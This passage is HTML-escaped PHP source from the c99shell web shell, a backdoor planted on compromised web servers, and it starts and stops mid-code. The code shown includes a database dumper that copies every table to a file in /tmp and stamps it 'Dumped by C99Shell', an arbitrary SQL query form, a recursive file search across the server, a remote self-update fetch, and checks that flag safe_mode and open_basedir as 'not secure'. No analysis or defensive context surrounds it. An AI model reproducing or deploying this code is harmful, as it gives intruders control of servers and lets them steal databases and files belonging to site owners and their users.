 if( $mode &amp;amp; 0x200 ) {$world[&amp;quot;execute&amp;quot;] = ($world[&amp;quot;execute&amp;quot;] == &amp;quot;x&amp;quot;) ? &amp;quot;t&amp;quot; : &amp;quot;T&amp;quot;;}&lt;br /&gt;
&lt;br /&gt;
 return $type.$owner[&amp;quot;read&amp;quot;].$owner[&amp;quot;write&amp;quot;].$owner[&amp;quot;execute&amp;quot;].&lt;br /&gt;
        $group[&amp;quot;read&amp;quot;].$group[&amp;quot;write&amp;quot;].$group[&amp;quot;execute&amp;quot;].&lt;br /&gt;
        $world[&amp;quot;read&amp;quot;].$world[&amp;quot;write&amp;quot;].$world[&amp;quot;execute&amp;quot;];&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;parse_perms&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function parse_perms($mode)&lt;br /&gt;
{&lt;br /&gt;
 if (($mode &amp;amp; 0xC000) === 0xC000) {$t = &amp;quot;s&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x4000) === 0x4000) {$t = &amp;quot;d&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0xA000) === 0xA000) {$t = &amp;quot;l&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x8000) === 0x8000) {$t = &amp;quot;-&amp;quot;;} &lt;br /&gt;
 elseif (($mode &amp;amp; 0x6000) === 0x6000) {$t = &amp;quot;b&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x2000) === 0x2000) {$t = &amp;quot;c&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x1000) === 0x1000) {$t = &amp;quot;p&amp;quot;;}&lt;br /&gt;
 else {$t = &amp;quot;?&amp;quot;;}&lt;br /&gt;
 $o[&amp;quot;r&amp;quot;] = ($mode &amp;amp; 00400) &amp;gt; 0; $o[&amp;quot;w&amp;quot;] = ($mode &amp;amp; 00200) &amp;gt; 0; $o[&amp;quot;x&amp;quot;] = ($mode &amp;amp; 00100) &amp;gt; 0;&lt;br /&gt;
 $g[&amp;quot;r&amp;quot;] = ($mode &amp;amp; 00040) &amp;gt; 0; $g[&amp;quot;w&amp;quot;] = ($mode &amp;amp; 00020) &amp;gt; 0; $g[&amp;quot;x&amp;quot;] = ($mode &amp;amp; 00010) &amp;gt; 0;&lt;br /&gt;
 $w[&amp;quot;r&amp;quot;] = ($mode &amp;amp; 00004) &amp;gt; 0; $w[&amp;quot;w&amp;quot;] = ($mode &amp;amp; 00002) &amp;gt; 0; $w[&amp;quot;x&amp;quot;] = ($mode &amp;amp; 00001) &amp;gt; 0;&lt;br /&gt;
 return array(&amp;quot;t&amp;quot;=&amp;gt;$t,&amp;quot;o&amp;quot;=&amp;gt;$o,&amp;quot;g&amp;quot;=&amp;gt;$g,&amp;quot;w&amp;quot;=&amp;gt;$w);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;view_perms_color&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function view_perms_color($o)&lt;br /&gt;
{&lt;br /&gt;
 if (!is_readable($o)) {return &amp;quot;&amp;lt;font color=\&amp;quot;red\&amp;quot;&amp;gt;&amp;quot;.view_perms(fileperms($o)).&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
 elseif (!is_writable($o)) {return &amp;quot;&amp;lt;font color=\&amp;quot;white\&amp;quot;&amp;gt;&amp;quot;.view_perms(fileperms($o)).&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
 else {return &amp;quot;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;quot;.view_perms(fileperms($o)).&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;gchds&amp;quot;)) {function gchds($a,$b,$c,$d=&amp;quot;&amp;quot;) {if ($a == $b) {return $c;} else {return $d;}}}&lt;br /&gt;
if (!function_exists(&amp;quot;c99sh_getupdate&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function c99sh_getupdate()&lt;br /&gt;
{&lt;br /&gt;
 global $updatenow;&lt;br /&gt;
 $data = @file_get_contents($c99sh_updatefurl.&amp;quot;?version=&amp;quot;.$shver.&amp;quot;&amp;amp;&amp;quot;);&lt;br /&gt;
 if (!$data) {echo &amp;quot;Can't fetch update-information!&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $data = unserialize(base64_decode($data));&lt;br /&gt;
  if (!is_array($data)) {echo &amp;quot;Corrupted update-information!&amp;quot;;}&lt;br /&gt;
  elseif ($shver &amp;lt; $data[&amp;quot;cur&amp;quot;]) {$updatenow = true;}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_dump&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_dump($set)&lt;br /&gt;
{&lt;br /&gt;
 global $shver;&lt;br /&gt;
 $sock = $set[&amp;quot;sock&amp;quot;];&lt;br /&gt;
 $db = $set[&amp;quot;db&amp;quot;];&lt;br /&gt;
 $print = $set[&amp;quot;print&amp;quot;];&lt;br /&gt;
 $nl2br = $set[&amp;quot;nl2br&amp;quot;];&lt;br /&gt;
 $file = $set[&amp;quot;file&amp;quot;];&lt;br /&gt;
 $add_drop = $set[&amp;quot;add_drop&amp;quot;];&lt;br /&gt;
 $tabs = $set[&amp;quot;tabs&amp;quot;];&lt;br /&gt;
 $onlytabs = $set[&amp;quot;onlytabs&amp;quot;];&lt;br /&gt;
 $ret = array();&lt;br /&gt;
 $ret[&amp;quot;err&amp;quot;] = array();&lt;br /&gt;
 if (!is_resource($sock)) {echo(&amp;quot;Error: \$sock is not valid resource.&amp;quot;);}&lt;br /&gt;
 if (empty($db)) {$db = &amp;quot;db&amp;quot;;}&lt;br /&gt;
 if (empty($print)) {$print = 0;}&lt;br /&gt;
 if (empty($nl2br)) {$nl2br = 0;}&lt;br /&gt;
 if (empty($add_drop)) {$add_drop = true;}&lt;br /&gt;
 if (empty($file))&lt;br /&gt;
 {&lt;br /&gt;
  global $win;&lt;br /&gt;
  if ($win) {$file = &amp;quot;C:\\tmp\\dump_&amp;quot;.$SERVER_NAME.&amp;quot;_&amp;quot;.$db.&amp;quot;_&amp;quot;.date(&amp;quot;d-m-Y-H-i-s&amp;quot;).&amp;quot;.sql&amp;quot;;}&lt;br /&gt;
  else {$file = &amp;quot;/tmp/dump_&amp;quot;.$SERVER_NAME.&amp;quot;_&amp;quot;.$db.&amp;quot;_&amp;quot;.date(&amp;quot;d-m-Y-H-i-s&amp;quot;).&amp;quot;.sql&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 if (!is_array($tabs)) {$tabs = array();}&lt;br /&gt;
 if (empty($add_drop)) {$add_drop = true;}&lt;br /&gt;
 if (sizeof($tabs) == 0)&lt;br /&gt;
 {&lt;br /&gt;
  // retrive tables-list&lt;br /&gt;
  $res = mysql_query(&amp;quot;SHOW TABLES FROM &amp;quot;.$db, $sock);&lt;br /&gt;
  if (mysql_num_rows($res) &amp;gt; 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}&lt;br /&gt;
 }&lt;br /&gt;
 $SERVER_ADDR = getenv(&amp;quot;SERVER_ADDR&amp;quot;);&lt;br /&gt;
 $SERVER_NAME = getenv(&amp;quot;SERVER_NAME&amp;quot;);&lt;br /&gt;
 $out = &amp;quot;# Dumped by C99Shell.SQL v. &amp;quot;.$shver.&amp;quot;&lt;br /&gt;
# Home page: http://ccteam.ru&lt;br /&gt;
#&lt;br /&gt;
# Host settings:&lt;br /&gt;
# MySQL version: (&amp;quot;.mysql_get_server_info().&amp;quot;) running on &amp;quot;.$SERVER_ADDR.&amp;quot; (&amp;quot;.$SERVER_NAME.&amp;quot;)&amp;quot;.&amp;quot;&lt;br /&gt;
# Date: &amp;quot;.date(&amp;quot;d.m.Y H:i:s&amp;quot;).&amp;quot;&lt;br /&gt;
# &amp;quot;.gethostbyname($SERVER_ADDR).&amp;quot; (&amp;quot;.$SERVER_ADDR.&amp;quot;)&amp;quot;.&amp;quot; dump db \&amp;quot;&amp;quot;.$db.&amp;quot;\&amp;quot;&lt;br /&gt;
#---------------------------------------------------------&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
 $c = count($onlytabs);&lt;br /&gt;
 foreach($tabs as $tab)&lt;br /&gt;
 {&lt;br /&gt;
  if ((in_array($tab,$onlytabs)) or (!$c))&lt;br /&gt;
  {&lt;br /&gt;
   if ($add_drop) {$out .= &amp;quot;DROP TABLE IF EXISTS `&amp;quot;.$tab.&amp;quot;`;\n&amp;quot;;}&lt;br /&gt;
   // recieve query for create table structure&lt;br /&gt;
   $res = mysql_query(&amp;quot;SHOW CREATE TABLE `&amp;quot;.$tab.&amp;quot;`&amp;quot;, $sock);&lt;br /&gt;
   if (!$res) {$ret[&amp;quot;err&amp;quot;][] = mysql_smarterror();}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    $row = mysql_fetch_row($res);&lt;br /&gt;
    $out .= $row[&amp;quot;1&amp;quot;].&amp;quot;;\n\n&amp;quot;;&lt;br /&gt;
    // recieve table variables&lt;br /&gt;
    $res = mysql_query(&amp;quot;SELECT * FROM `$tab`&amp;quot;, $sock);&lt;br /&gt;
    if (mysql_num_rows($res) &amp;gt; 0)&lt;br /&gt;
    {&lt;br /&gt;
     while ($row = mysql_fetch_assoc($res))&lt;br /&gt;
     {&lt;br /&gt;
      $keys = implode(&amp;quot;`, `&amp;quot;, array_keys($row));&lt;br /&gt;
      $values = array_values($row);&lt;br /&gt;
      foreach($values as $k=&amp;gt;$v) {$values[$k] = addslashes($v);} &lt;br /&gt;
      $values = implode(&amp;quot;', '&amp;quot;, $values); &lt;br /&gt;
      $sql = &amp;quot;INSERT INTO `$tab`(`&amp;quot;.$keys.&amp;quot;`) VALUES ('&amp;quot;.$values.&amp;quot;');\n&amp;quot;; &lt;br /&gt;
      $out .= $sql;&lt;br /&gt;
     } &lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 $out .= &amp;quot;#---------------------------------------------------------------------------------\n\n&amp;quot;;&lt;br /&gt;
 if ($file)&lt;br /&gt;
 {&lt;br /&gt;
  $fp = fopen($file, &amp;quot;w&amp;quot;); &lt;br /&gt;
  if (!$fp) {$ret[&amp;quot;err&amp;quot;][] = 2;}&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   fwrite ($fp, $out);&lt;br /&gt;
   fclose ($fp);&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}&lt;br /&gt;
 return $out;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_buildwhere&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_buildwhere($array,$sep=&amp;quot; and&amp;quot;,$functs=array())&lt;br /&gt;
{&lt;br /&gt;
 if (!is_array($array)) {$array = array();}&lt;br /&gt;
 $result = &amp;quot;&amp;quot;;&lt;br /&gt;
 foreach($array as $k=&amp;gt;$v)&lt;br /&gt;
 {&lt;br /&gt;
  $value = &amp;quot;&amp;quot;;&lt;br /&gt;
  if (!empty($functs[$k])) {$value .= $functs[$k].&amp;quot;(&amp;quot;;}&lt;br /&gt;
  $value .= &amp;quot;'&amp;quot;.addslashes($v).&amp;quot;'&amp;quot;;&lt;br /&gt;
  if (!empty($functs[$k])) {$value .= &amp;quot;)&amp;quot;;}&lt;br /&gt;
  $result .= &amp;quot;`&amp;quot;.$k.&amp;quot;` = &amp;quot;.$value.$sep;&lt;br /&gt;
 }&lt;br /&gt;
 $result = substr($result,0,strlen($result)-strlen($sep));&lt;br /&gt;
 return $result;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_fetch_all&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_fetch_all($query,$sock)&lt;br /&gt;
{&lt;br /&gt;
 if ($sock) {$result = mysql_query($query,$sock);}&lt;br /&gt;
 else {$result = mysql_query($query);}&lt;br /&gt;
 $array = array();&lt;br /&gt;
 while ($row = mysql_fetch_array($result)) {$array[] = $row;}&lt;br /&gt;
 mysql_free_result($result);&lt;br /&gt;
 return $array;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_smarterror&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_smarterror($type,$sock)&lt;br /&gt;
{&lt;br /&gt;
 if ($sock) {$error = mysql_error($sock);}&lt;br /&gt;
 else {$error = mysql_error();}&lt;br /&gt;
 $error = htmlspecialchars($error);&lt;br /&gt;
 return $error;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_query_form&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_query_form()&lt;br /&gt;
{&lt;br /&gt;
 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;&lt;br /&gt;
 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = &amp;quot;Query was empty&amp;quot;;} echo &amp;quot;&amp;lt;b&amp;gt;Error:&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&amp;quot;.$sql_query_error.&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}&lt;br /&gt;
 if ((!$submit) or ($sql_act))&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;table border=0&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;form action=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;\&amp;quot; name=\&amp;quot;c99sh_sqlquery\&amp;quot; method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;; if (($sql_query) and (!$submit)) {echo &amp;quot;Do you really want to&amp;quot;;} else {echo &amp;quot;SQL-Query&amp;quot;;} echo &amp;quot;:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;textarea name=\&amp;quot;sql_query\&amp;quot; cols=\&amp;quot;100\&amp;quot; rows=\&amp;quot;10\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($sql_query).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_act\&amp;quot; value=\&amp;quot;query\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_tbl\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_tbl).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_goto\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_goto).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;sql_confirm\&amp;quot; value=\&amp;quot;Yes\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;No\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
  if ($tbl_struct)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;td valign=\&amp;quot;top\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Fields:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   foreach ($tbl_struct as $field) {$name = $field[&amp;quot;Field&amp;quot;]; echo &amp;quot;» &amp;lt;a href=\&amp;quot;#\&amp;quot; onclick=\&amp;quot;document.c99sh_sqlquery.sql_query.value+='`&amp;quot;.$name.&amp;quot;`';\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$name.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_create_db&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_create_db($db,$sock=&amp;quot;&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $sql = &amp;quot;CREATE DATABASE `&amp;quot;.addslashes($db).&amp;quot;`;&amp;quot;;&lt;br /&gt;
 if ($sock) {return mysql_query($sql,$sock);}&lt;br /&gt;
 else {return mysql_query($sql);}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_query_parse&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_query_parse($query)&lt;br /&gt;
{&lt;br /&gt;
 $query = trim($query);&lt;br /&gt;
 $arr = explode (&amp;quot; &amp;quot;,$query);&lt;br /&gt;
 /*array array()&lt;br /&gt;
 {&lt;br /&gt;
  &amp;quot;METHOD&amp;quot;=&amp;gt;array(output_type),&lt;br /&gt;
  &amp;quot;METHOD1&amp;quot;...&lt;br /&gt;
  ...&lt;br /&gt;
 }&lt;br /&gt;
 if output_type == 0, no output,&lt;br /&gt;
 if output_type == 1, no output if no error&lt;br /&gt;
 if output_type == 2, output without control-buttons&lt;br /&gt;
 if output_type == 3, output with control-buttons&lt;br /&gt;
 */&lt;br /&gt;
 $types = array(&lt;br /&gt;
  &amp;quot;SELECT&amp;quot;=&amp;gt;array(3,1),&lt;br /&gt;
  &amp;quot;SHOW&amp;quot;=&amp;gt;array(2,1),&lt;br /&gt;
  &amp;quot;DELETE&amp;quot;=&amp;gt;array(1),&lt;br /&gt;
  &amp;quot;DROP&amp;quot;=&amp;gt;array(1)&lt;br /&gt;
 );&lt;br /&gt;
 $result = array();&lt;br /&gt;
 $op = strtoupper($arr[0]);&lt;br /&gt;
 if (is_array($types[$op]))&lt;br /&gt;
 {&lt;br /&gt;
  $result[&amp;quot;propertions&amp;quot;] = $types[$op];&lt;br /&gt;
  $result[&amp;quot;query&amp;quot;]  = $query;&lt;br /&gt;
  if ($types[$op] == 2)&lt;br /&gt;
  {&lt;br /&gt;
   foreach($arr as $k=&amp;gt;$v)&lt;br /&gt;
   {&lt;br /&gt;
    if (strtoupper($v) == &amp;quot;LIMIT&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $result[&amp;quot;limit&amp;quot;] = $arr[$k+1];&lt;br /&gt;
     $result[&amp;quot;limit&amp;quot;] = explode(&amp;quot;,&amp;quot;,$result[&amp;quot;limit&amp;quot;]);&lt;br /&gt;
     if (count($result[&amp;quot;limit&amp;quot;]) == 1) {$result[&amp;quot;limit&amp;quot;] = array(0,$result[&amp;quot;limit&amp;quot;][0]);}&lt;br /&gt;
     unset($arr[$k],$arr[$k+1]);&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 else {return false;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;c99fsearch&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function c99fsearch($d)&lt;br /&gt;
{&lt;br /&gt;
 global $found;&lt;br /&gt;
 global $found_d;&lt;br /&gt;
 global $found_f;&lt;br /&gt;
 global $search_i_f;&lt;br /&gt;
 global $search_i_d;&lt;br /&gt;
 global $a;&lt;br /&gt;
 if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
 $h = opendir($d);&lt;br /&gt;
 while (($f = readdir($h)) !== false)&lt;br /&gt;
 {&lt;br /&gt;
  if($f != &amp;quot;.&amp;quot; &amp;amp;&amp;amp; $f != &amp;quot;..&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   $bool = (empty($a[&amp;quot;name_regexp&amp;quot;]) and strpos($f,$a[&amp;quot;name&amp;quot;]) !== false) || ($a[&amp;quot;name_regexp&amp;quot;] and ereg($a[&amp;quot;name&amp;quot;],$f));&lt;br /&gt;
   if (is_dir($d.$f))&lt;br /&gt;
   {&lt;br /&gt;
    $search_i_d++;&lt;br /&gt;
    if (empty($a[&amp;quot;text&amp;quot;]) and $bool) {$found[] = $d.$f; $found_d++;}&lt;br /&gt;
    if (!is_link($d.$f)) {c99fsearch($d.$f);}&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    $search_i_f++;&lt;br /&gt;
    if ($bool)&lt;br /&gt;
    {&lt;br /&gt;
     if (!empty($a[&amp;quot;text&amp;quot;]))&lt;br /&gt;
     {&lt;br /&gt;
      $r = @file_get_contents($d.$f);&lt;br /&gt;
      if ($a[&amp;quot;text_wwo&amp;quot;]) {$a[&amp;quot;text&amp;quot;] = &amp;quot; &amp;quot;.trim($a[&amp;quot;text&amp;quot;]).&amp;quot; &amp;quot;;}&lt;br /&gt;
      if (!$a[&amp;quot;text_cs&amp;quot;]) {$a[&amp;quot;text&amp;quot;] = strtolower($a[&amp;quot;text&amp;quot;]); $r = strtolower($r);}&lt;br /&gt;
      if ($a[&amp;quot;text_regexp&amp;quot;]) {$bool = ereg($a[&amp;quot;text&amp;quot;],$r);}&lt;br /&gt;
      else {$bool = strpos(&amp;quot; &amp;quot;.$r,$a[&amp;quot;text&amp;quot;],1);}&lt;br /&gt;
      if ($a[&amp;quot;text_not&amp;quot;]) {$bool = !$bool;}&lt;br /&gt;
      if ($bool) {$found[] = $d.$f; $found_f++;}&lt;br /&gt;
     }&lt;br /&gt;
     else {$found[] = $d.$f; $found_f++;}&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 closedir($h);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;gofile&amp;quot;) {if (is_dir($f)) {$act = &amp;quot;ls&amp;quot;; $d = $f;} else {$act = &amp;quot;f&amp;quot;; $d = dirname($f); $f = basename($f);}}&lt;br /&gt;
//Sending headers&lt;br /&gt;
header(&amp;quot;Expires: Mon, 26 Jul 1997 05:00:00 GMT&amp;quot;);&lt;br /&gt;
header(&amp;quot;Last-Modified: &amp;quot;.gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;).&amp;quot; GMT&amp;quot;);&lt;br /&gt;
header(&amp;quot;Cache-Control: no-store, no-cache, must-revalidate&amp;quot;);&lt;br /&gt;
header(&amp;quot;Cache-Control: post-check=0, pre-check=0&amp;quot;, false);&lt;br /&gt;
header(&amp;quot;Pragma: no-cache&amp;quot;);&lt;br /&gt;
if (empty($tmpdir))&lt;br /&gt;
{&lt;br /&gt;
 if (!$win) {$tmpdir = &amp;quot;/tmp/&amp;quot;;}&lt;br /&gt;
 else {$tmpdir = getenv(&amp;quot;SystemRoot&amp;quot;);}&lt;br /&gt;
}&lt;br /&gt;
else {$tmpdir = realpath($tmpdir);}&lt;br /&gt;
$tmpdir = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$tmpdir);&lt;br /&gt;
if (substr($tmpdir,-1,1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}&lt;br /&gt;
else {$tmpdir_logs = realpath($tmpdir_logs);}&lt;br /&gt;
if (@ini_get(&amp;quot;safe_mode&amp;quot;) or strtolower(@ini_get(&amp;quot;safe_mode&amp;quot;)) == &amp;quot;on&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $safemode = true;&lt;br /&gt;
 $hsafemode = &amp;quot;&amp;lt;font color=\&amp;quot;red\&amp;quot;&amp;gt;ON (secure)&amp;lt;/font&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
else {$safemode = false; $hsafemode = &amp;quot;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;OFF (not secure)&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
$v = @ini_get(&amp;quot;open_basedir&amp;quot;);&lt;br /&gt;
if ($v or strtolower($v) == &amp;quot;on&amp;quot;) {$openbasedir = true; $hopenbasedir = &amp;quot;&amp;lt;font color=\&amp;quot;red\&amp;quot;&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
else {$openbasedir = false; $hopenbasedir = &amp;quot;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;OFF (not secure)&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
$sort = htmlspecialchars($sort);&lt;br /&gt;
if (empty($sort)) {$sort = $sort_default;}&lt;br /&gt;
$sort[1] = strtolower($sort[1]);&lt;br /&gt;
$DISP_SERVER_SOFTWARE = getenv(&amp;quot;SERVER_SOFTWARE&amp;quot;);&lt;br /&gt;
if (!ereg(&amp;quot;PHP/&amp;quot;.phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= &amp;quot;. PHP/&amp;quot;.phpversion();}&lt;br /&gt;
$DISP_SERVER_SOFTWARE = str_replace(&amp;quot;PHP/&amp;quot;.phpversion(),&amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=phpinfo\&amp;quot; target=\&amp;quot;_blank\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;PHP/&amp;quot;.phpversion().&amp;quot;&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;,htmlspecialchars($DISP_SERVER_SOFTWARE));&lt;br /&gt;
@ini_set(&amp;quot;highlight.bg&amp;quot;,$highlight_bg); //FFFFFF	&lt;br /&gt;
@ini_set(&amp;quot;highlight.comment&amp;quot;,$highlight_comment); //#FF8000	&lt;br /&gt;
@ini_set(&amp;quot;highlight.default&amp;quot;,$highlight_default); //#0000BB	&lt;br /&gt;
@ini_set(&amp;quot;highlight.html&amp;quot;,$highlight_html); //#000000	&lt;br /&gt;
@ini_set(&amp;quot;highlight.keyword&amp;quot;,$highlight_keyword); //#007700	&lt;br /&gt;
@ini_set(&amp;quot;highlight.string&amp;quot;,$highlight_string); //#DD0000&lt;br /&gt;
if (!is_array($actbox)) {$actbox = array();}&lt;br /&gt;
$dspact = $act = htmlspecialchars($act);&lt;br /&gt;
$disp_fullpath = $ls_arr = $notls = null;&lt;br /&gt;
$ud = urlencode($d);&lt;br /&gt;
?&amp;gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=windows-1251&amp;quot;&amp;gt;&amp;lt;meta http-equiv=&amp;quot;Content-Language&amp;quot; content=&amp;quot;en-us&amp;quot;&amp;gt;&amp;lt;title&amp;gt;&amp;lt;?php echo getenv(&amp;quot;HTTP_HOST&amp;quot;); ?&amp;gt; - c99shell&amp;lt;/title&amp;gt;&amp;lt;STYLE&amp;gt;TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: 